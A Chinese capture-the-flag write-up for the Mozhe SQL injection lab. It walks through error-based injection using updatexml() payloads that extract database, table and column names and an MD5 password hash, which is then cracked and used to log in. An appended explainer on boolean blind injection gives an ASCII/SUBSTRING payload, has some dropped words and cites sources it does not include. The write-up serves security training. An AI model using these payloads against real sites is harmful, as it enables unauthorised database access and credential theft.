墨者-SQL注入漏洞测试(报错盲注) 题解

本文详细讲述了在未防护的MySQL系统中,通过公告界面和报错注入技巧,逐步获取数据库敏感信息的过程,包括库名、表名、字段值等,并利用这些信息进行登录。关键步骤包括字符型注入、unionselect、updatexml函数利用和字段值解析。

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靶场地址:https://www.mozhe.cn/bug/detail/Ri9CaDcwWVl3Wi81bDh3Ulp0bGhOUT09bW96aGUmozhe

依旧是mysql、无防护

①依旧是公告界面
url:http://219.153.49.228:44679/new_list.php?id=1
1',1' and '1'='1' -- q,1' and '1'='2' -- q判断存在字符型注入,数据库类型为MariaDB

②order by 判断字段数为4,union select无回显

③尝试报错注入,利用函数updatexml()
updatexml参数(目标xml内容,xml文档路径,更新的内容)
当文档路径包含字符~,会判断不合法,输出字符~报错
利用concat函数将子查询语句与字符~拼接
例如:concat(0x7e,(select user()))
会将查询结果拼接~报错输出
所以尝试

id=1' and updatexml(1,concat(0x7e,(select user())),1) -- q
在这里插入图片描述
判断存在报错注入

④接下来还是联合注入那一套,替换子查询语句即可

id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1) -- q
爆出库名information_schema,mysql,perfor

查询perfor库是空的
database()查询出当前数据库为stormgroup,居然不在schema_name里

爆出表名member,notice

表member爆出字段name,password,status

⑤分别查询字段值

id=11111111' and updatexml(1,concat(0x7e,(select group_concat(字段) from member)),1) -- q

name字段:mozhe,mozhe
status字段:0,1
查询password字段时,根据另外两个字段可知有两条数据,因为报错长度最多为32位,字符~占了1位,剩下31位不够输出第一个32位的MD5密码,而且第一条数据status字段值为0,大概率用不了。
直接查询第二条数据

id=11111111' and updatexml(1,concat(0x7e,(select group_concat(password) from member where status='1')),1) -- q
在这里插入图片描述
得到~76e59b744c5db295a5f0b66f2e9a192
依旧少了一位,利用函数substr(字符串,32,1)输出第32位字符

id=11111111' and updatexml(1,concat(0x7e,(select substr(group_concat(password),32,1) from member where status=1)),1) -- q
得到~e
拼一拼得到76e59b744c5db295a5f0b66f2e9a192e
解密得到945748
mozhe/945748登录得到key

### SQL 注入漏洞测试中的布尔方法 布尔是一种通过观察应用程序响应来推断查询结果的技术。攻击者发送特定的输入给服务器,如果返回的结果满足某些条件,则表示注入成功。 #### 原理说明 在布尔中,攻击者构建SQL语句使得其逻辑部分依赖于某个假设是否成立。通常情况下,会尝试逐位猜测目标字符串的内容。例如,可以先判断某字符是否小于等于'f',再进一步缩小范围直到确定具体值[^1]。 #### 实施过程 为了实现这一目的,常用的技巧是在原始查询基础上附加额外的`AND`子句: ```sql AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1), 1, 1)) < 77 ``` 上述代码片段用于比较表名第一个字母对应的ASCII码与指定数值之间的大小关系。当此表达式的计算结果为真时,整个请求将正常处理并显示预期页面;反之则可能出现错误提示或其他异常行为。 #### 自动化工具辅助 对于复杂的场景下手动编写payload较为困难,此时可借助像SQLMap这样的自动化工具来进行更高效的探测工作。这类软件能够自动生成多种类型的测试向量,并根据反馈调整后续操作策略[^3]。 #### 权限控制的重要性 值得意的是,在实际环境中应当严格限制Web应用所使用的数据库账户权限至最低必要水平。即使存在潜在的安全隐患也能有效遏制可能造成的损害程度[^2]。
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